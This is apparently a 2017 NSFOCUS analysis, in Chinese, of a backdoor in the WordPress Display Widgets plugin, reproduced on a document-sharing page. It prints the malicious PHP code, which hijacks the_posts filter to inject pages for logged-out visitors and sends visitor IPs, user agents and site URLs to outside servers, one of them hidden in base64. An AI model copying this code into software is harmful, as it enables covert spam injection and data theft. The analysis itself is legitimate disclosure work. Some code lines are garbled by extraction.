WordPress display-widgets 插件后门 漏洞分析 b u 发布时间:2017 年 9 月 15 日 事件综述 m o c . 5 h t i g 近日,世界知名内容管理系统 WordPress 官方发布声明称 Display Widgets 插件存在恶意代码,很可能是插件开发者留下的后门,此插件大概有 200,000 站点在使用!该后门上传服务器数据到第三方服务器,包括 IP 地址,UserAgent, 站点相关信息等。 相关链接如下: https://wordpress.org/support/topic/display-widgets-plugin-v2-6-3-1includes-hacking-code/ 存在后门的插件版本:  Version 2.6.1——Version 2.6.3.1 目前官方已经删除了存在漏洞的插件版本。 漏洞分析 官方已经根性了最新版本 2.7,所以我们来看看最新的 2.7 和存在后门的 2.6.2 的 区别。 正常情况下 display widgets 插件只存在一个主文件: \wp-content\plugins\display-widgets\display-widgets.php @NSFOCUS 2017 http://www.nsfocus.com 但是在 2.6.2 中多了一个 geolocation.php 文件: 其实在之前的没有后门的老版本(比如 2.05 版本)中也是没有这个文件的,所 以这个文件是很可疑的恶意文件。 而且在插进的主文件 display-widgets.php 中也证明了这一点: m o c . 5 h t i g b u 在 2.6.2 版本中就直接包含了这个可疑的 geolocation.php 文件 在 geolocation.php 文件最后有这么几行 if ( function_exists( 'add_action' ) ) { ob_start(); add_action( 'wp', array( 'dw_geolocation_connector', 'check_query_string' ) ); add_filter( 'the_posts', array( 'dw_geolocation_connector', 'dynamic_page' ) ); add_action( 'shutdown', array( 'dw_geolocation_connector', 'parse_output' ), 0 ); } 这里添加了两个 action,一个 filter 这个 filter 使用此文件中的 dynamic_page 函数劫持了 the_posts 过滤器 大概意思就是指定系统调用这个 dynamic_page 过滤器来处理 post 数据 通过 dynamic_page 这个名字就能知道是干什么的,动态修改页面,其实就是这 样的,看此函数的代码部分: @NSFOCUS 2017 http://www.nsfocus.com public static function dynamic_page( $posts ) { if ( !function_exists( 'is_user_logged_in' ) || is_user_logged_in() ) { return $posts; } $data = self::get_option(); if ( $data === false || !is_array( $data ) ) { return $posts; } m o c . 5 $requested_page_slug = strtolower( $GLOBALS[ 'wp' ]->request ); if ( count( $posts ) == 0 && array_key_exists( $requested_page_slug, $data) ) { $post = new stdClass; $post_date = !empty( $data[ $requested_page_slug ][ 'post_date' ] ) ? b u $data[ $requested_page_slug ][ 'post_date' ] : date( 'Y-m-d H:i:s' ); h t i g $post->post_title = $data[ $requested_page_slug ][ 'post_title' ]; $post->post_content = $data[ $requested_page_slug ][ 'post_content' ]; $post->post_author = 1; $post->post_name = $requested_page_slug; $post->guid = get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug; $post->ID = -3371; $post->post_status = 'publish'; $post->comment_status = 'closed'; $post->ping_status = 'closed'; $post->comment_count = 0; $post->post_date = $post_date; $post->post_date_gmt = $post_date; $post = (object) array_merge( (array) $post, array( 'slug' => get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug, @NSFOCUS 2017 http://www.nsfocus.com 'slug' => get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug, 'post_title' => $data[ $requested_page_slug ][ 'post_title' ], 'post content' => $data[ $requested_page_slug ][ 'post_content' ] ) ); $posts = NULL; $posts[] = $post; $GLOBALS[ 'wp_query' ]->is_page = true; m o c . 5 $GLOBALS[ 'wp_query' ]->is_singular = true; $GLOBALS[ 'wp_query' ]->is_home = false; $GLOBALS[ 'wp_query' ]->is_archive = false; $GLOBALS[ 'wp_query' ]->is_category = false; unset( $GLOBALS[ 'wp_query' ]->query[ 'error' ] ); b u $GLOBALS[ 'wp_query' ]->query_vars[ 'error' ] = ''; $GLOBALS[ 'wp_query' ]->is_404 = false; } return $posts; } h t i g 这个 dynamic_page 函数首先判断是不是用户登录了,登录了就直接返回原来的 post 内容,所以用户是察觉不到有异常变化的。 当用户未登录时,就修改 psot 的内容,动态修改 post 的内容插入任意恶意内容 了。所以这个肯定是一个插件不正常的动机了! 第二个异常行为就是会收集主机信息发送到插件开发者的服务器上 $request_url = 'http://geoip2.io/api/update/?url=' . urlencode( self::get_protocol() . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( self::get_user_agent() ) . '&geo=true&p=9&v=0&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&siteurl=' . urlencode( get_site_url() ); $args =array( 'timeout' => 2, 'headers' => array( "Accept: application/json" ) ); $response = @wp_remote_retrieve_body( @wp_remote_get( $request_url, $args ) ); @NSFOCUS 2017 http://www.nsfocus.com 这里会收集主机的 ip,siteurl,agent 等信息发送到 http://geoip2.io 而且在 2.6.3.1 上还有另外一个域名: $http = self::http_object(); $endpoint = base64_decode( $_update 'aHR0cDovL3N0b3BzcGFtLmlvL2FwaS91cGRhdGUvP3VybD0' 'aHR0cDovL3N0b3BzcGFtLmlvL2FwaS9jaGVjay8/dXJsPQ==' ); $endpoint .= urlencode( self::get_protocol() . $_SERVER[ 'HTTP_HOST' ] $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( self::get_user_agent() ) '&v=1&p=4&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&siteurl=' urlencode( get_site_url() ); ? : . . . $args = stream_context_create( array( 'http' => array( 'timeout' => 10, 'ignore_errors' => true ) ) ); $response = @$http->get( $endpoint, $args ); m o c . 5

pdf文档 绿盟 WordPress display-widgets 插件后门漏洞分析

安全报告 > 绿盟 > 文档预览
中文文档 6 页 50 下载 1000 浏览 0 评论 0 收藏 3.0分
温馨提示:本文档共6页,可预览 3 页,如浏览全部内容或当前文档出现乱码,可开通会员下载原始文档
绿盟 WordPress display-widgets 插件后门漏洞分析 第 1 页 绿盟 WordPress display-widgets 插件后门漏洞分析 第 2 页 绿盟 WordPress display-widgets 插件后门漏洞分析 第 3 页
下载文档到电脑,方便使用
本文档由 路人甲2022-07-17 01:20:10上传分享
给文档打分
您好可以输入 255 个字符
网站域名是多少( 答案:github5.com )
评论列表
  • 暂时还没有评论,期待您的金玉良言
站内资源均来自网友分享或网络收集整理,若无意中侵犯到您的权利,敬请联系我们微信(点击查看客服),我们将及时删除相关资源。